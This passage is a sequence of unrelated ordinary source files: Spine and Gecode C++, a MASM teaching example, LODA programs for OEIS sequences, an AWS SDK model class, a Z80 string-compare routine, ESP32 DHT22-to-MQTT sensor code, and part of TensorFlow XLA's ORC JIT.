INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ******************************************************************************/ #include <stdexcept> #include <spine/SlotData.h> namespace spine { SlotData::SlotData (const std::string &name, BoneData *boneData) : name(name), boneData(boneData), r(1), g(1), b(1), a(1), attachmentName(0) { if (!boneData) throw std::invalid_argument("boneData cannot be null."); } SlotData::~SlotData () { if (attachmentName) { delete attachmentName; attachmentName = 0; } } } /* namespace spine */
/* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- */ /* * Main authors: * Christian Schulte <schulte@gecode.org> * * Copyright: * Christian Schulte, 2004 * * Last modified: * $Date: 2016-10-25 12:52:26 +0200 (Tue, 25 Oct 2016) $ by $Author: schulte $ * $Revision: 15233 $ * * This file is part of Gecode, the generic constraint * development environment: * http://www.gecode.org * * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * */ #include <iostream> #include <iomanip> #include <fstream> #include <cstring> #ifndef GECODE_THREADS_WINDOWS #include <csignal> #endif namespace Gecode { namespace Driver { /** * \brief Stop object based on nodes, failures, and time * */ class CombinedStop : public Search::Stop { private: Search::NodeStop* ns; ///< Used node stop object Search::FailStop* fs; ///< Used fail stop object Search::TimeStop* ts; ///< Used time stop object GECODE_DRIVER_EXPORT static bool sigint; ///< Whether search was interrupted using Ctrl-C /// Initialize stop object CombinedStop(unsigned int node, unsigned int fail, unsigned int time) : ns((node > 0) ? new Search::NodeStop(node) : NULL), fs((fail > 0) ? new Search::FailStop(fail) : NULL), ts((time > 0) ? new Search::TimeStop(time) : NULL) { sigint = false; } public: /// Reason why search has been stopped enum { SR_NODE = 1 << 0, ///< Node limit reached SR_FAIL = 1 << 1, ///< Fail limit reached SR_TIME = 1 << 2, ///< Time limit reached SR_INT = 1 << 3 ///< Interrupted by user }; /// Test whether search must be stopped virtual bool stop(const Search::Statistics& s, const Search::Options& o) { return sigint || ((ns != NULL) && ns->stop(s,o)) || ((fs != NULL) && fs->stop(s,o)) || ((ts != NULL) && ts->stop(s,o)); } /// Report reason why search has been stopped int reason(const Search::Statistics& s, const Search::Options& o) { return (((ns != NULL) && ns->stop(s,o)) ? SR_NODE : 0) | (((fs != NULL) && fs->stop(s,o)) ? SR_FAIL : 0) | (((ts != NULL) && ts->stop(s,o)) ? SR_TIME : 0) | (sigint ? SR_INT : 0); } /// Create appropriate stop-object static Search::Stop* create(unsigned int node, unsigned int fail, unsigned int time, bool intr) { if ( (!intr) && (node == 0) && (fail == 0) && (time == 0)) return NULL; else return new CombinedStop(node,fail,time); } #ifdef GECODE_THREADS_WINDOWS /// Handler for catching Ctrl-C static BOOL interrupt(DWORD t) { if (t == CTRL_C_EVENT) { sigint = true; installCtrlHandler(false,true); return true; } return false; } #else /// Handler for catching Ctrl-C static void interrupt(int) { sigint = true; installCtrlHandler(false,true); } #endif /// Install handler for catching Ctrl-C static void installCtrlHandler(bool install, bool force=false) { if (force || !sigint) { #ifdef GECODE_THREADS_WINDOWS SetConsoleCtrlHandler( (PHANDLER_ROUTINE) interrupt, install); #else std::signal(SIGINT, install ? interrupt : SIG_DFL); #endif } } /// Destructor ~CombinedStop(void) { delete ns; delete fs; delete ts; } }; /** * \brief Get time since start of timer and print user friendly time * information. */ GECODE_DRIVER_EXPORT void stop(Support::Timer& t, std::ostream& os); /** * \brief Compute arithmetic mean of \a n elements in \a t */ GECODE_DRIVER_EXPORT double am(double t[], unsigned int n); /** * \brief Compute deviation of \a n elements in \a t */ GECODE_DRIVER_EXPORT double dev(double t[], unsigned int n); /// Create cutoff object from options template<class Options> inline Search::Cutoff* createCutoff(const Options& o) { switch (o.restart()) { case RM_NONE: return NULL; case RM_CONSTANT: return Search::Cutoff::constant(o.restart_scale()); case RM_LINEAR: return Search::Cutoff::linear(o.restart_scale()); case RM_LUBY: return Search::Cutoff::luby(o.restart_scale()); case RM_GEOMETRIC: return Search::Cutoff::geometric(o.restart_scale(),o.restart_base()); default: GECODE_NEVER; } return NULL; } #ifdef GECODE_HAS_GIST /** * \brief Traits class for search engines */ template<class Engine> class GistEngine { public: static void explore(Space* root, const Gist::Options& opt) { (void) Gist::dfs(root, opt); } }; /// Specialization for DFS template<typename S> class GistEngine<DFS<S> > { public: static void explore(S* root, const Gist::Options& opt) { (void) Gist::dfs(root, opt); } }; /// Specialization for LDS template<typename S> class GistEngine<LDS<S> > { public: static void explore(S* root, const Gist::Options& opt) { (void) Gist::dfs(root, opt); } }; /// Specialization for BAB template<typename S> class GistEngine<BAB<S> > { public: static void explore(S* root, const Gist::Options& opt) { (void) Gist::bab(root, opt); } }; #endif template<class BaseSpace> forceinline ScriptBase<BaseSpace>::ScriptBase(const Options& opt) : BaseSpace(opt) {} template<class BaseSpace> forceinline ScriptBase<BaseSpace>::ScriptBase(bool share, ScriptBase& e) : BaseSpace(share,e) {} template<class BaseSpace> void ScriptBase<BaseSpace>::print(std::ostream&) const {} template<class BaseSpace> void ScriptBase<BaseSpace>::compare(const Space&, std::ostream&) const {} template<class BaseSpace> std::ostream& ScriptBase<BaseSpace>::select_ostream(const char* sn, std::ofstream& ofs) { if (strcmp(sn, "stdout") == 0) { return std::cout; } else if (strcmp(sn, "stdlog") == 0) { return std::clog; } else if (strcmp(sn, "stderr") == 0) { return std::cerr; } else { ofs.open(sn); return ofs; } } /** * \brief Wrapper class to add engine template argument */ template<class T, template<class> class E> class EngineToMeta : public E<T> { public: EngineToMeta(T* s, const Search::Options& o) : E<T>(s,o) {} }; template<class BaseSpace> template<class Script, template<class> class Engine, class Options> void ScriptBase<BaseSpace>::run(const Options& o, Script* s) { if ((o.restart() != RM_NONE) && (o.assets() > 0)) { std::cerr << "Cannot use restarts and portfolio..." << std::endl; exit(EXIT_FAILURE); } if (o.restart() != RM_NONE) { runMeta<Script,Engine,Options,RBS>(o,s); } else if (o.assets() > 0) { runMeta<Script,Engine,Options,PBS>(o,s); } else { runMeta<Script,Engine,Options,EngineToMeta>(o,s); } } template<class BaseSpace> template<class Script, template<class> class Engine, class Options, template<class, template<class> class> class Meta> void ScriptBase<BaseSpace>::runMeta(const Options& o, Script* s) { using namespace std; ofstream sol_file, log_file; ostream& s_out = select_ostream(o.out_file(), sol_file); ostream& l_out = select_ostream(o.log_file(), log_file); try { switch (o.mode()) { case SM_GIST: #ifdef GECODE_HAS_GIST { Gist::Print<Script> pi(o.name()); Gist::VarComparator<Script> vc(o.name()); Gist::Options opt; opt.inspect.click(&pi); opt.inspect.compare(&vc); opt.clone = false; opt.c_d = o.c_d(); opt.a_d = o.a_d(); for (unsigned int i=0; o.inspect.click(i) != NULL; i++) opt.inspect.click(o.inspect.click(i)); for (unsigned int i=0; o.inspect.solution(i) != NULL; i++) opt.inspect.solution(o.inspect.solution(i)); for (unsigned int i=0; o.inspect.move(i) != NULL; i++) opt.inspect.move(o.inspect.move(i)); for (unsigned int i=0; o.inspect.compare(i) != NULL; i++) opt.inspect.compare(o.inspect.compare(i)); if (s == NULL) s = new Script(o); (void) GistEngine<Engine<Script> >::explore(s, opt); } break; // If Gist is not available, fall through #endif case SM_SOLUTION: { l_out << o.name() << endl; Support::Timer t; int i = static_cast<int>(o.solutions()); t.start(); if (s == NULL) s = new Script(o); unsigned int n_p = PropagatorGroup::all.size(*s); unsigned int n_b = BrancherGroup::all.size(*s); Search::Options so; so.threads = o.threads(); so.c_d = o.c_d(); so.a_d = o.a_d(); so.d_l = o.d_l(); so.assets = o.assets(); so.stop = CombinedStop::create(o.node(),o.fail(), o.time(), o.interrupt()); so.cutoff = createCutoff(o); so.clone = false; so.nogoods_limit = o.nogoods() ? o.nogoods_limit() : 0U; if (o.interrupt()) CombinedStop::installCtrlHandler(true); { Meta<Script,Engine> e(s,so); if (o.print_last()) { Script* px = NULL; do { Script* ex = e.next(); if (ex == NULL) { if (px != NULL) { px->print(s_out); delete px; } break; } else { delete px; px = ex; } } while (--i != 0); } else { do { Script* ex = e.next(); if (ex == NULL) break; ex->print(s_out); delete ex; } while (--i != 0); } if (o.interrupt()) CombinedStop::installCtrlHandler(false); Search::Statistics stat = e.statistics(); s_out << endl; if (e.stopped()) { l_out << "Search engine stopped..." << endl << "\treason: "; int r = static_cast<CombinedStop*>(so.stop)->reason(stat,so); if (r & CombinedStop::SR_INT) l_out << "user interrupt " << endl; else { if (r & CombinedStop::SR_NODE) l_out << "node "; if (r & CombinedStop::SR_FAIL) l_out << "fail "; if (r & CombinedStop::SR_TIME) l_out << "time "; l_out << "limit reached" << endl << endl; } } l_out << "Initial" << endl << "\tpropagators: " << n_p << endl << "\tbranchers: " << n_b << endl << endl << "Summary" << endl << "\truntime: "; stop(t, l_out); l_out << endl << "\tsolutions: " << ::abs(static_cast<int>(o.solutions()) - i) << endl << "\tpropagations: " << stat.propagate << endl << "\tnodes: " << stat.node << endl << "\tfailures: " << stat.fail << endl << "\trestarts: " << stat.restart << endl << "\tno-goods: " << stat.nogood << endl << "\tpeak depth: " << stat.depth << endl #ifdef GECODE_PEAKHEAP << "\tpeak memory: " << static_cast<int>((heap.peak()+1023) / 1024) << " KB" << endl #endif << endl; } delete so.stop; } break; case SM_STAT: { l_out << o.name() << endl; Support::Timer t; int i = static_cast<int>(o.solutions()); t.start(); if (s == NULL) s = new Script(o); unsigned int n_p = PropagatorGroup::all.size(*s); unsigned int n_b = BrancherGroup::all.size(*s); Search::Options so; so.clone = false; so.threads = o.threads(); so.assets = o.assets(); so.c_d = o.c_d(); so.a_d = o.a_d(); so.d_l = o.d_l(); so.stop = CombinedStop::create(o.node(),o.fail(), o.time(), o.interrupt()); so.cutoff = createCutoff(o); so.nogoods_limit = o.nogoods() ? o.nogoods_limit() : 0U; if (o.interrupt()) CombinedStop::installCtrlHandler(true); { Meta<Script,Engine> e(s,so); do { Script* ex = e.next(); if (ex == NULL) break; delete ex; } while (--i != 0); if (o.interrupt()) CombinedStop::installCtrlHandler(false); Search::Statistics stat = e.statistics(); l_out << endl << "\tpropagators: " << n_p << endl << "\tbranchers: " << n_b << endl << "\truntime: "; stop(t, l_out); l_out << endl << "\tsolutions: " << ::abs(static_cast<int>(o.solutions()) - i) << endl << "\tpropagations: " << stat.propagate << endl << "\tnodes: " << stat.node << endl << "\tfailures: " << stat.fail << endl << "\trestarts: " << stat.restart << endl << "\tno-goods: " << stat.nogood << endl << "\tpeak depth: " << stat.depth << endl #ifdef GECODE_PEAKHEAP << "\tpeak memory: " << static_cast<int>((heap.peak()+1023) / 1024) << " KB" << endl #endif << endl; } delete so.stop; } break; case SM_TIME: { l_out << o.name() << endl; Support::Timer t; double* ts = new double[o.samples()]; bool stopped = false; for (unsigned int ns = o.samples(); !stopped && ns--; ) { t.start(); for (unsigned int k = o.iterations(); !stopped && k--; ) { unsigned int i = o.solutions(); Script* s1 = new Script(o); Search::Options so; so.clone = false; so.threads = o.threads(); so.assets = o.assets(); so.c_d = o.c_d(); so.a_d = o.a_d(); so.d_l = o.d_l(); so.stop = CombinedStop::create(o.node(),o.fail(), o.time(), false); so.cutoff = createCutoff(o); so.nogoods_limit = o.nogoods() ? o.nogoods_limit() : 0U; { Meta<Script,Engine> e(s1,so); do { Script* ex = e.next(); if (ex == NULL) break; delete ex; } while (--i != 0); if (e.stopped()) stopped = true; } delete so.stop; } ts[ns] = t.stop() / o.iterations(); } if (stopped) { l_out << "\tSTOPPED" << endl; } else { double m = am(ts,o.samples()); double d = dev(ts,o.samples()) * 100.0; l_out << "\truntime: " << setw(20) << right << showpoint << fixed << setprecision(6) << m << "ms" << setprecision(2) << " (" << d << "% deviation)" << endl; } delete [] ts; } break; } } catch (Exception& e) { cerr << "Exception: " << e.what() << "." << endl << "Stopping..." << endl; if (sol_file.is_open()) sol_file.close(); if (log_file.is_open()) log_file.close(); exit(EXIT_FAILURE); } if (sol_file.is_open()) sol_file.close(); if (log_file.is_open()) log_file.close(); } }} // STATISTICS: driver-any
; Flowchart Example (Flowchart.asm) ; Implements the flowchart in Figure 6-2, ; Calculates the sum of all array elements larger than ; a given value (sample). INCLUDE Irvine32.inc .data sum DWORD 0 sample DWORD 50 array DWORD 10,60,20,33,72,89,45,65,72,18 ArraySize = ($ - Array) / TYPE array .code main PROC mov eax,0 ; sum mov edx,sample mov esi,0 ; index mov ecx,ArraySize L1: cmp esi,ecx jl L2 jmp L5 L2: cmp array[esi*4], edx jg L3 jmp L4 L3: add eax,array[esi*4] L4: inc esi jmp L1 L5: mov sum,eax call Writeint call Crlf exit main ENDP END main
; A016084: a(n+1) = a(n) + its digital root. ; 5,10,11,13,17,25,32,37,38,40,44,52,59,64,65,67,71,79,86,91,92,94,98,106,113,118,119,121,125,133,140,145,146,148,152,160,167,172,173,175,179,187,194,199,200,202,206,214,221,226,227,229,233,241,248,253,254,256,260,268,275,280,281,283,287,295,302,307,308,310,314,322,329,334,335,337,341,349,356,361,362,364,368,376,383,388,389,391,395,403,410,415,416,418,422,430,437,442,443,445,449,457,464,469,470,472,476,484,491,496,497,499,503,511,518,523,524,526,530,538,545,550,551,553,557,565,572,577,578,580,584,592,599,604,605,607,611,619,626,631,632,634,638,646,653,658,659,661,665,673,680,685,686,688,692,700,707,712,713,715,719,727,734,739,740,742,746,754,761,766,767,769,773,781,788,793,794,796,800,808,815,820,821,823,827,835,842,847,848,850,854,862,869,874,875,877,881,889,896,901,902,904,908,916,923,928,929,931,935,943,950,955,956,958,962,970,977,982,983,985,989,997,1004,1009,1010,1012,1016,1024,1031,1036,1037,1039,1043,1051,1058,1063,1064,1066,1070,1078,1085,1090,1091,1093,1097,1105,1112,1117,1118,1120 mov $3,$0 mod $0,2 mov $1,$0 pow $1,$0 mov $2,1 add $2,$3 mov $0,$2 mov $4,4 lpb $0,1 sub $0,1 mod $4,9 add $4,$1 mov $1,$4 lpe
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include <aws/pi/model/DimensionKeyDetail.h> #include <aws/core/utils/json/JsonSerializer.h> #include <utility> using namespace Aws::Utils::Json; using namespace Aws::Utils; namespace Aws { namespace PI { namespace Model { DimensionKeyDetail::DimensionKeyDetail() : m_valueHasBeenSet(false), m_dimensionHasBeenSet(false), m_status(DetailStatus::NOT_SET), m_statusHasBeenSet(false) { } DimensionKeyDetail::DimensionKeyDetail(JsonView jsonValue) : m_valueHasBeenSet(false), m_dimensionHasBeenSet(false), m_status(DetailStatus::NOT_SET), m_statusHasBeenSet(false) { *this = jsonValue; } DimensionKeyDetail& DimensionKeyDetail::operator =(JsonView jsonValue) { if(jsonValue.ValueExists("Value")) { m_value = jsonValue.GetString("Value"); m_valueHasBeenSet = true; } if(jsonValue.ValueExists("Dimension")) { m_dimension = jsonValue.GetString("Dimension"); m_dimensionHasBeenSet = true; } if(jsonValue.ValueExists("Status")) { m_status = DetailStatusMapper::GetDetailStatusForName(jsonValue.GetString("Status")); m_statusHasBeenSet = true; } return *this; } JsonValue DimensionKeyDetail::Jsonize() const { JsonValue payload; if(m_valueHasBeenSet) { payload.WithString("Value", m_value); } if(m_dimensionHasBeenSet) { payload.WithString("Dimension", m_dimension); } if(m_statusHasBeenSet) { payload.WithString("Status", DetailStatusMapper::GetNameForDetailStatus(m_status)); } return payload; } } // namespace Model } // namespace PI } // namespace Aws
; int __CALLEE__ strnicmp_callee(char *s1, char *s2, uint n) ; caseless compare ; 12.2006 aralbrec XLIB strnicmp_callee XDEF ASMDISP_STRNICMP_CALLEE .strnicmp_callee pop hl pop bc pop de ex (sp),hl ; enter : bc = uint n ; de = char *s2 ; hl = char *s1 ; exit : if s1==s2 : hl = 0, Z flag set ; if s1<<s2 : hl < 0, NC+NZ flag set ; if s1>>s2 : hl > 0, C+NZ flag set ; uses : af, bc, de, hl .asmentry .strnicmp1 ld a,b or c jr z, equal push bc ld a,(hl) inc hl cp 'A' jr c, ASMPC+8 cp 'Z'+1 jr nc, ASMPC+4 or $20 ld c,a ld a,(de) inc de cp 'A' jr c, ASMPC+8 cp 'Z'+1 jr nc, ASMPC+4 or $20 cp c pop bc jr nz, different dec bc or a jp nz, strnicmp1 .equal ld hl,0 ret .different ; effectively performed *s2 - *s1 ld h,$80 ret nc dec h ret DEFC ASMDISP_STRNICMP_CALLEE = asmentry - strnicmp_callee
#include <Ticker.h> #include "dht.h" #include "DHTesp.h" #include "mqtt.h" Ticker dhtTicker; Ticker dhtPublish; DHTesp dht; uint16_t readCount = 0; bool isInitialized = false; bool isStaleValue = true; char lastTemp[10]; char lastHumidity[10]; void readDHTSensor() { TempAndHumidity newValues = dht.getTempAndHumidity(); if (dht.getStatus() != 0) { Serial.println("DHT22 error status: " + String(dht.getStatusString())); isStaleValue = true; return; } // Discard the first few values since these cannot be incorrect if (readCount < 5) { readCount++; return; } isStaleValue = false; dtostrf(newValues.temperature, 6, 2, lastTemp); dtostrf(newValues.humidity, 6, 2, lastHumidity); readCount = 10; isInitialized = true; Serial.printf("%s %s\n", lastTemp, lastHumidity); } void publishDHTValues() { if (!isInitialized || isStaleValue) { return; } sendMqttMsg("roomhub-1/tele/temp", lastTemp); sendMqttMsg("roomhub-1/tele/humidity", lastHumidity); } void setupDHT(float pollInterval, float publishInterval) { dht.setup(19, DHTesp::DHT22); dhtTicker.attach(pollInterval, readDHTSensor); dhtPublish.attach(publishInterval, publishDHTValues); }
; A182531: Extremal graph numbers for a triangle with an edge off it. ; 0,1,3,4,6,9,12,16,20,25,30,36,42,49,56,64,72,81,90,100,110,121,132,144,156,169,182,196,210,225,240,256,272 mov $1,$0 cmp $0,2 add $1,1 add $0,$1 mul $1,$0 mov $0,$1 div $0,4
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/compiler/xla/service/cpu/simple_orc_jit.h" #include <stdint.h> #include <algorithm> #include <cstdio> #include <list> #include <utility> #include "absl/memory/memory.h" #include "llvm/ExecutionEngine/ExecutionEngine.h" #include "llvm/ExecutionEngine/JITSymbol.h" #include "llvm/ExecutionEngine/SectionMemoryManager.h" #include "llvm/IR/Mangler.h" #include "llvm/IR/Operator.h" #include "llvm/Support/CodeGen.h" #include "llvm/Support/Host.h" #include "tensorflow/compiler/xla/service/cpu/cpu_runtime.h" #include "tensorflow/compiler/xla/service/cpu/orc_jit_memory_mapper.h" #include "tensorflow/compiler/xla/service/cpu/runtime_conv2d.h" #include "tensorflow/compiler/xla/service/cpu/runtime_conv2d_mkl.h" #include "tensorflow/compiler/xla/service/cpu/runtime_fft.h" #include "tensorflow/compiler/xla/service/cpu/runtime_fork_join.h" #include "tensorflow/compiler/xla/service/cpu/runtime_fp16.h" #include "tensorflow/compiler/xla/service/cpu/runtime_key_value_sort.h" #include "tensorflow/compiler/xla/service/cpu/runtime_matmul.h" #include "tensorflow/compiler/xla/service/cpu/runtime_matmul_mkl.h" #include "tensorflow/compiler/xla/service/cpu/runtime_pow.h" #include "tensorflow/compiler/xla/service/cpu/runtime_single_threaded_conv2d.h" #include "tensorflow/compiler/xla/service/cpu/runtime_single_threaded_fft.h" #include "tensorflow/compiler/xla/service/cpu/runtime_single_threaded_matmul.h" #include "tensorflow/compiler/xla/service/cpu/runtime_topk.h" #include "tensorflow/compiler/xla/service/cpu/windows_compatibility.h" #include "tensorflow/compiler/xla/service/custom_call_target_registry.h" #include "tensorflow/compiler/xla/types.h" #include "tensorflow/core/platform/logging.h" namespace xla { namespace cpu { namespace { llvm::SmallVector<std::string, 0> DetectMachineAttributes() { llvm::SmallVector<std::string, 0> result; llvm::StringMap<bool> host_features; if (llvm::sys::getHostCPUFeatures(host_features)) { for (auto& feature : host_features) { result.push_back((feature.second ? '+' : '-') + std::string(feature.first())); } } return result; } } // namespace /*static*/ std::unique_ptr<llvm::TargetMachine> SimpleOrcJIT::InferTargetMachineForJIT( const llvm::TargetOptions& target_options, llvm::CodeGenOpt::Level opt_level) { std::unique_ptr<llvm::TargetMachine> target_machine( llvm::EngineBuilder() .setTargetOptions(target_options) .setOptLevel(opt_level) .selectTarget( /*TargetTriple=*/llvm::Triple(), /*MArch=*/"", /*MCPU=*/llvm::sys::getHostCPUName(), /*MAttrs=*/DetectMachineAttributes())); CHECK(target_machine != nullptr); return target_machine; } SimpleOrcJIT::SimpleOrcJIT( std::unique_ptr<llvm::orc::TargetProcessControl> target_process_control, std::unique_ptr<llvm::orc::ExecutionSession> execution_session, const llvm::TargetOptions& target_options, llvm::CodeGenOpt::Level opt_level, bool optimize_for_size, bool disable_expensive_passes, llvm::FastMathFlags fast_math_flags, LLVMCompiler::ModuleHook pre_optimization_hook, LLVMCompiler::ModuleHook post_optimization_hook, std::function<void(const llvm::object::ObjectFile&)> post_codegen_hook) : target_machine_(InferTargetMachineForJIT(target_options, opt_level)), target_triple_(target_machine_->getTargetTriple()), data_layout_(target_machine_->createDataLayout()), target_process_control_(std::move(target_process_control)), execution_session_(std::move(execution_session)), object_layer_(*execution_session_, []() { return std::make_unique<llvm::SectionMemoryManager>( orc_jit_memory_mapper::GetInstance()); }), compile_layer_( *execution_session_, object_layer_, std::make_unique<CompilerFunctor>( target_machine_.get(), opt_level, optimize_for_size, disable_expensive_passes, fast_math_flags, std::move(pre_optimization_hook), std::move(post_optimization_hook), std::move(post_codegen_hook))), main_jit_dylib_(&execution_session_->createBareJITDylib("<main>")), gdb_jit_event_listener_( llvm::JITEventListener::createGDBRegistrationListener()) { VLOG(1) << "CPU target: " << target_machine_->getTargetCPU().str() << " features: " << target_machine_->getTargetFeatureString().str(); // Materialize unknown symbols from the runtime symbol table. class RuntimeSymbolGenerator : public llvm::orc::DefinitionGenerator { SimpleOrcJIT& jit_; public: explicit RuntimeSymbolGenerator(SimpleOrcJIT& jit) : jit_(jit) {} llvm::Error tryToGenerate( llvm::orc::LookupState&, llvm::orc::LookupKind, llvm::orc::JITDylib& jit_dylib, llvm::orc::JITDylibLookupFlags, const llvm::orc::SymbolLookupSet& names) override { llvm::orc::SymbolMap new_defs; for (const auto& kv : names) { const auto& name = kv.first; if (llvm::JITEvaluatedSymbol symbol = jit_.ResolveRuntimeSymbol(*name)) { new_defs[name] = symbol; } } cantFail(jit_dylib.define(absoluteSymbols(std::move(new_defs)))); return llvm::Error::success(); } }; main_jit_dylib_->addGenerator( std::make_unique<RuntimeSymbolGenerator>(*this)); object_layer_.registerJITEventListener(*this); // Copied from LLJIT, required to find symbols on Windows. if (target_triple_.isOSBinFormatCOFF()) { object_layer_.setOverrideObjectFlagsWithResponsibilityFlags(true); object_layer_.setAutoClaimResponsibilityForObjectSymbols(true); } } SimpleOrcJIT::~SimpleOrcJIT() { if (auto err = execution_session_->endSession()) { execution_session_->reportError(std::move(err)); } } llvm::Expected<std::unique_ptr<SimpleOrcJIT>> SimpleOrcJIT::Create( const llvm::TargetOptions& target_options, llvm::CodeGenOpt::Level opt_level, bool optimize_for_size, bool disable_expensive_passes, llvm::FastMathFlags fast_math_flags, LLVMCompiler::ModuleHook pre_optimization_hook, LLVMCompiler::ModuleHook post_optimization_hook, std::function<void(const llvm::object::ObjectFile&)> post_codegen_hook) { auto SSP = std::make_shared<llvm::orc::SymbolStringPool>(); auto target_process_control = llvm::orc::SelfTargetProcessControl::Create(std::move(SSP)); if (!target_process_control) { return target_process_control.takeError(); } auto execution_session = std::make_unique<llvm::orc::ExecutionSession>(); return std::make_unique<SimpleOrcJIT>( std::move(*target_process_control), std::move(execution_session), target_options, opt_level, optimize_for_size, disable_expensive_passes, fast_math_flags, std::move(pre_optimization_hook), std::move(post_optimization_hook), std::move(post_codegen_hook)); } llvm::JITEvaluatedSymbol SimpleOrcJIT::ResolveRuntimeSymbol( llvm::StringRef name) { void* func_addr = nullptr; if (name.size() > 1 && name.front() == data_layout_.getGlobalPrefix()) { // On Mac OS X, 'name' may have a leading underscore prefix, even though the // registered name may not. std::string stripped_name(name.begin() + 1, name.end()); func_addr = xla::CustomCallTargetRegistry::Global()->Lookup(stripped_name, "Host"); } else { func_addr = xla::CustomCallTargetRegistry::Global()->Lookup(name.str(), "Host"); } if (func_addr == nullptr) { LOG(ERROR) << "Unable to resolve runtime symbol: `" << name.str() << "'. Hint: if the symbol a custom call target, make sure you've " "registered it with the JIT using " "XLA_CPU_REGISTER_CUSTOM_CALL_TARGET."; return nullptr; } llvm::JITEvaluatedSymbol symbol_info(reinterpret_cast<uint64_t>(func_addr), llvm::JITSymbolFlags::None); return symbol_info; } void SimpleOrcJIT::notifyObjectLoaded( llvm::JITEventListener::ObjectKey key, const llvm::object::ObjectFile& object, const llvm::RuntimeDyld::LoadedObjectInfo& object_info) { gdb_jit_event_listener_->notifyObjectLoaded(key, object, object_info); size_of_generated_code_in_bytes_ += object.getData().size(); } void SimpleOrcJIT::notifyFreeingObject(llvm::JITEventListener::ObjectKey key) { gdb_jit_event_listener_->notifyFreeingObject(key); } llvm::Error SimpleOrcJIT::AddModule(llvm::orc::ThreadSafeModule module) { return compile_layer_.add(*main_jit_dylib_, std::move(module)); } void SimpleOrcJIT::DoneCompiling() { // The target machine takes a non-trivial amount of memory, so once we are // done compiling throw it away. target_machine_.reset(); } llvm::Expected<llvm::JITEvaluatedSymbol> SimpleOrcJIT::FindCompiledSymbol( const std::string& name) { return execution_session_->lookup({main_jit_dylib_}, name); } #if defined(PLATFORM_WINDOWS) // This function is used by compiler-generated code on windows, but it's not // declared anywhere. The signature does not matter, we just need the address. extern "C" void __chkstk(size_t); #endif namespace { // Register some known symbols with the CustomCallTargetRegistry. bool RegisterKnownJITSymbols() { xla::CustomCallTargetRegistry* registry = xla::CustomCallTargetRegistry::Global(); registry->Register("printf", reinterpret_cast<void*>(&printf), "Host"); registry->Register("puts", reinterpret_cast<void*>(&puts), "Host"); #define REGISTER_CPU_RUNTIME_SYMBOL(base_name) \ do { \ auto* function_address = \ reinterpret_cast<void*>(__xla_cpu_runtime_##base_name); \ registry->Register(xla::cpu::runtime::k##base_name##SymbolName, \ function_address, "Host"); \ CHECK_EQ(absl::string_view(xla::cpu::runtime::k##base_name##SymbolName), \ "__xla_cpu_runtime_" #base_name); \ } while (false) REGISTER_CPU_RUNTIME_SYMBOL(AcquireInfeedBufferForDequeue); REGISTER_CPU_RUNTIME_SYMBOL(AcquireOutfeedBufferForPopulation); REGISTER_CPU_RUNTIME_SYMBOL(AllReduce); REGISTER_CPU_RUNTIME_SYMBOL(CollectivePermute); REGISTER_CPU_RUNTIME_SYMBOL(AllToAll); REGISTER_CPU_RUNTIME_SYMBOL(ReplicaId); REGISTER_CPU_RUNTIME_SYMBOL(MKLConvF32); REGISTER_CPU_RUNTIME_SYMBOL(EigenConvF16); REGISTER_CPU_RUNTIME_SYMBOL(EigenConvF32); REGISTER_CPU_RUNTIME_SYMBOL(EigenFft); REGISTER_CPU_RUNTIME_SYMBOL(EigenMatMulF16); REGISTER_CPU_RUNTIME_SYMBOL(EigenMatMulF32); REGISTER_CPU_RUNTIME_SYMBOL(EigenMatMulF64); REGISTER_CPU_RUNTIME_SYMBOL(EigenMatMulC64); REGISTER_CPU_RUNTIME_SYMBOL(EigenMatMulC128); REGISTER_CPU_RUNTIME_SYMBOL(EigenMatMulS32); REGISTER_CPU_RUNTIME_SYMBOL(MKLMatMulF32); REGISTER_CPU_RUNTIME_SYMBOL(MKLMatMulF64); REGISTER_CPU_RUNTIME_SYMBOL(MKLSingleThreadedMatMulF32); REGISTER_CPU_RUNTIME_SYMBOL(MKLSingleThreadedMatMulF64); REGISTER_CPU_RUNTIME_SYMBOL(EigenSingleThreadedConvF16); REGISTER_CPU_RUNTIME_SYMBOL(EigenSingleThreadedConvF32); REGISTER_CPU_RUNTIME_SYMBOL(EigenSingleThreadedFft); REGISTER_CPU_RUNTIME_SYMBOL(EigenSingleThreadedMatMulF16); REGISTER_CPU_RUNTIME_SYMBOL(EigenSingleThreadedMatMulF32); REGISTER_CPU_RUNTIME_SYMBOL(EigenSingleThreadedMatMulF64); REGISTER_CPU_RUNTIME_SYMBOL(EigenSingleThreadedMatMulC64); 